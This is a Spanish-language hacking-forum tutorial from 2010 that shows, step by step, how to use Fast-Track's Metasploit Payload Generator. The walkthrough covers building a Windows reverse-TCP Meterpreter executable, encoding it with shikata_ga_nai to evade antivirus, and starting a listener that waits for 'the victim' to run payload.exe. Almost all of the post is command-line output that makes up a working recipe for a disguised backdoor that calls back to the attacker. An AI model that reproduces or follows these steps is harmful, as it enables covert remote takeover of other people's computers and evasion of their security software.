Foro de elhacker.net

Seguridad Informática => Hacking => Mensaje iniciado por: Shell Root en 23 Enero 2010, 00:05 am



Título: [Fast-Track + Metasploit][b] PAYLOAD Automatically Generate
Publicado por: Shell Root en 23 Enero 2010, 00:05 am
[Fast-Track + Metasploit] PAYLOAD Automatically Generate
[Metasploit By: Shell Root]

(http://img687.imageshack.us/img687/2263/6yyfaqwd.jpg)


Como alguna vez miramos en esté Articulo [Metasploit] Generando Ejecutable con PAYLOAD (http://foro.elhacker.net/hacking_avanzado/metasploit_generando_ejecutable_con_payload-t279407.0.html), en este caso, lo haremos de forma mucho más automatizada con el Script Fast-Track.py

Ingresamos a la carpeta donde se encuentra el archivo Fast-Track.py y lo ejecutamos. Seleccionamos el modo -c (Command Line Mode)
Código:
shellroot@shellroot-desktop:~/fasttrack$ sudo python ./fast-track.py -c

************************************************************************
Fast-Track Command Line - Where it's OK to finish in under 3 minutes...
************************************************************************

**** MAKE SURE YOU INSTALL ALL THE DEPENDENCIES FIRST  (setup.py) ****

Visit http://trac.thepentest.com for tutorials or to file a bug.

1. Update Menu
2. Autopwn Automated
3. MS-SQL Injector
4. MS-SQL Bruter
5. Binary to Hex Payload Generator
6. Mass Client-Side Attack
7. Exploits
8. SQLPwnage
9. Payload Generator
10. Changelog
11. Credits
12. About

Usage: fast-track.py -c <tool#>

shellroot@shellroot-desktop:~/fasttrack$

Ahora seleccionamos el item 9. Payload Generator
Código:
shellroot@shellroot-desktop:~/fasttrack$ sudo python ./fast-track.py -c 9

#####################################
###                               ###
### Metasploit Payload Generator  ###
###                               ###
### Written by: Dave Kennedy      ###
### aka ReL1K                     ###
###                               ###
#####################################
#####################################


The Metasploit Payload Generator is a simple tool to
make it extremely easy to generate a payload and listener
on the Metasploit framework. This does not actually
exploit any systems, it will generate a metasploit payload
for you and save it to an executable. You then need to
someone get it on the remote server by yourself and get it
to execute correctly.

This will also encode your payload to get past most AV and
IDS/IPS.

Despues seleccionamos el PAYLOAD que queramos, en este caso usaré el 2. Windows Reverse_TCP Meterpreter
Código:
What payload do you want to generate:

Name:                                Description:

1. Windows Shell Reverse_TCP               Spawn a command shell on victim and send back to attacker.
2. Windows Reverse_TCP Meterpreter         Spawn a meterpreter shell on victim and send back to attacker.
3. Windows Reverse_TCP VNC DLL             Spawn a VNC server on victim and send back to attacker.
4. Windows Bind Shell                      Execute payload and create an accepting port on remote system.

Enter choice (example 1-6): 2

Despues seleccionaremos el encoder a usar, recordad que los encoders son para un posible bypasseo de antivirus (Proximo Tutorial "Bypassear Antivirus con MSF"). Seleccionamos 2. shikata_ga_nai
Código:
Below is a list of encodings to try and bypass AV. 

Select one of the below, Avoid_UTF8_tolower usually gets past them.

1. avoid_utf8_tolower
2. shikata_ga_nai
3. alpha_mixed
4. alpha_upper
5. call4_dword_xor
6. countdown
7. fnstenv_mov
8. jmp_call_additive
9. nonalpha
10. nonupper
11. unicode_mixed
12. unicode_upper
13. alpha2
14. No Encoding

Enter your choice : 2

Despues nos pedira el LHOST, digitamos la Dirección IP a la cual queremos que reciba la sessión del Meterpreter.
Código:
Enter IP Address of the listener/attacker (reverse) or host/victim (bind shell): 192.168.142.137

Despues nos pedira el LPORT, digitamos el puerto para poner a la escucha.
Código:
Enter the port of the Listener: 1234

Ahora nos da la opcion a elegir entre una ShellCode o un Archivo ejecutable. Seleccionaré 1. Executable
Código:
Do you want to create an EXE or Shellcode 

1. Executable
2. Shellcode

Enter your choice: 1

A payload has been created in this directory and is named 'payload.exe'. Enjoy!

Yá hemos creado un Archivo Ejecutable con un PAYLOAD, ademas de esta automatización, tambien podemos Automatizar el Auxiliary Multi/Handler. Así que digitamos Yes.
Código:
Do you want to start a listener to receive the payload yes or no: yes

Launching Listener...
***********************************************************************************************

Launching MSFCLI on 'exploit/multi/handler' with PAYLOAD='windows/meterpreter/reverse_tcp'
Listening on IP: 192.168.142.137 on Local Port: 1234 Using encoding: ENCODING=shikata_ga_nai

***********************************************************************************************
[*] Please wait while we load the module tree...
[*] Starting the payload handler...
[*] Started reverse handler on port 1234

Como podemos, inicia automaticamente el multi/handler, ademas los parametros que insertamos anteriormente (LHOST, LPORT, Encode), ahora solo esperamos a que la victima ejecute el Archivo Ejecutable, para recibir la session del Meterpreter.

By: Shell Root

Gr3tz: Rcart, Trashhgoo, Messerschmitt, Xzite.
CPH, elhacker.net, DDLR.